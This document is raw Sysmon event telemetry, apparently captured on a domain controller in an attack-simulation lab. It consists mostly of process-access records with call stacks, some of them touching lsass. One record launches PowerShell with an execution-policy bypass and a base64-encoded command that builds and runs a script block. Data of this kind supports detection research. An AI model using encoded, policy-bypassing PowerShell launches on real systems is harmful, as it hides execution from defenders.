09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E400-000000007F01}4540C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.344{A5F018FF-2921-5F80-E300-000000007F01}13202784C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2921-5F80-E400-000000007F01}4540C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd5932a9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca33e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f499a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca52e69(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca364ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca364ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca3635f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca282e4(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34817(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca3440a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca33e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca1ac65(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca1a235(wow64) 154100x80000000000000004376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.359{A5F018FF-2921-5F80-E400-000000007F01}4540C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000004375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.344{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.344{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.344{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.297{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.297{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.266{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_bscsv3on.ddj.ps12020-10-09 09:10:57.266 10341000x80000000000000004369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.250{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 